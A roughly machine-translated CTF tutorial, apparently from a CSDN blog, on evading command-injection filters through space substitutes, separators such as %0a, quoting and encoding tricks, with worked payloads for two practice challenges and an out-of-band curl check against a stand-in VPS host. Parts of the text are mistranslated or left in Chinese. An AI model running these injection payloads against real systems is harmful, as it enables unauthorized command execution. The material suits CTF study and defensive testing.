Omisiones comunes para la ejecución de comandos CTF

Omisiones comunes para la ejecución de comandos

1. Reemplazar con espacios

Cuando ejecutamos comandos del sistema, inevitablemente encontraremos espacios, como cat flag.txt. Cuando el programa filtra los espacios, debemos usar los siguientes caracteres para intentar omitirlos:

<
${
    
    IFS}
$IFS$9
%09

La prueba es la siguiente:
Insertar descripción de la imagen aquí

$IFSAl expresar el separador en Linux, cuando solo hay cat$IFSa.txt, el intérprete bash considerará el IFSa completo como el nombre de la variable, por lo que no se puede ejecutar. Sin embargo, si agrega un {}, el nombre de la variable será arreglado. Del mismo modo, agréguelo al final. Un $ puede desempeñar un papel de truncamiento, y $9 se refiere al titular del noveno parámetro del proceso actual del shell del sistema, que es una cadena vacía. Por lo tanto, $9 equivale a no agregar nada , lo que equivale a hacer un aislamiento delantero y trasero.

2. En su lugar, trunca los símbolos

Cuando se ejecuta un comando, los datos generalmente se obtienen del front-end para ejecutar los comandos preestablecidos del sistema. Para agregar otros comandos que queremos ejecutar, generalmente se usan símbolos de truncamiento para permitir que el sistema ejecute otros comandos: como : ping 127.0.0.1
|

常见的截断符号:
$
;
|
-
(
)
`
||
&&
&
}
{
    
    
%0a

3.comando cat en su lugar

El comando cat es para visualización. Cuando el comando cat está deshabilitado en el programa, se puede usar el siguiente comando en su lugar:

cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件

Insertar descripción de la imagen aquí

3.1 Omisión de barra invertida

ca\t fl\ag.txt

Insertar descripción de la imagen aquí
3.2 Omisión de codificación

`echo 'Y2F0Cg==' | base64 -d`  flag.txt

Insertar descripción de la imagen aquí
3.3 Bypass de empalme

a=c;b=at;c=f;d=lag;e=.txt;$a$b ${
    
    c}${
    
    d}${
    
    e}
cat flag.txt

Insertar descripción de la imagen aquí
3.4 Omisión de comillas simples y dobles

c'a't  test
c"a"t  test

Insertar descripción de la imagen aquí

3.5 Omisión de comodines

[…] significa hacer coincidir cualquier carácter entre corchetes
{…} significa hacer coincidir todos los patrones entre llaves, y los patrones están separados por comas.
Hay una diferencia importante entre {…} y […]. Cuando el archivo coincidente no existe, […] perderá su función de patrón y se convertirá en una cadena simple, mientras que {…} aún se puede expandir.

cat  t?st
cat  te*
cat  t[a-z]st
cat  t{
    
    a,b,c,d,e,f}st

Insertar descripción de la imagen aquí

Ejercicios practicos

1. [GXYCTF2019]Ping Ping Ping(https://buuoj.cn)

1.1 Prueba con truncamiento

payload:/?ip=127.0.0.1|ls

Se puede ver que el programa ha ejecutado el comando ls que agregamos y lo repitió en el front-end.
Insertar descripción de la imagen aquí
1.2 Use el comando cat para ver la bandera
. Según las indicaciones, los espacios aquí deben filtrarse, por lo que tenemos que encontrar un manera de evitar la restricción de espacio.
Insertar descripción de la imagen aquí
1.3 Evitar el espacio
. Según el conocimiento previo, pruebe Reemplace el símbolo del espacio;
de acuerdo con el eructo, se descubre que se puede $IFS$9evitar
Insertar descripción de la imagen aquí
. Sin embargo, las indicaciones aquí tienen nuevos cambios, como sigue:
Insertar descripción de la imagen aquí
De acuerdo con las indicaciones, esto debería ser un problema de bandera. Primero, verificamos index.php para ver el código fuente.
Insertar descripción de la imagen aquí
Al ver el código fuente, aquí está el problema de la bandera. Se realiza una coincidencia regular. Si las banderas coinciden, el programa deja de correr.

1.4 Omisión de palabras clave
Basado en conocimientos previos, pruebe las palabras clave de reemplazo:
cat flag.php

cat$IFS$9fl\ag.php
b=ag;a=fl;cat$IFS$9$a$b.php
echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh
cat$IFS$9fla*

Según Burp Blasting, se descubrió que 1.5 se puede omitir mediante empalme y codificación
Insertar descripción de la imagen aquí
. Después de pasar la prueba de fuzz, se puede ver que todas las cargas útiles son las siguientes:
Insertar descripción de la imagen aquí

2. Comando ping de muerte (https://www.ctfhub.com)

2.1 Prueba usando caracteres de truncamiento.
A través de la prueba, se puede ver que el programa filtra los caracteres de truncamiento. Con base en el conocimiento anterior, difuminemos los caracteres de truncamiento disponibles. Según la prueba,
Insertar descripción de la imagen aquí
el programa no filtra %0a, por lo que podemos usar %0a para continuar con el siguiente paso
Insertar descripción de la imagen aquí
2.2 Juicio fuera de banda
Hay un problema en la prueba anterior. Debido a que el comando ejecutado no tiene eco, no podemos saber si el comando insertado se ejecutó exitosamente. Podemos usar el comando Prueba fuera de banda: principio simple: use el comando curl para acceder al sitio web, el sitio web
recibe la solicitud y el comando se ejecuta con éxito

  1. Utilice Python para iniciar el servicio http en VPS:
命令:python -m http.server 80

Insertar descripción de la imagen aquí
2. Utilice el comando curl para acceder al puerto 80 en el VPS

Payload:ip=127.0.0.1%0acurl+VPSIP/1.txt

Insertar descripción de la imagen aquí

  1. Verifique el estado de acceso en el VPS, si se accede exitosamente, significa que el comando se ejecutó exitosamente.
    Insertar descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/qq_42383069/article/details/130221725
Recomendado
Clasificación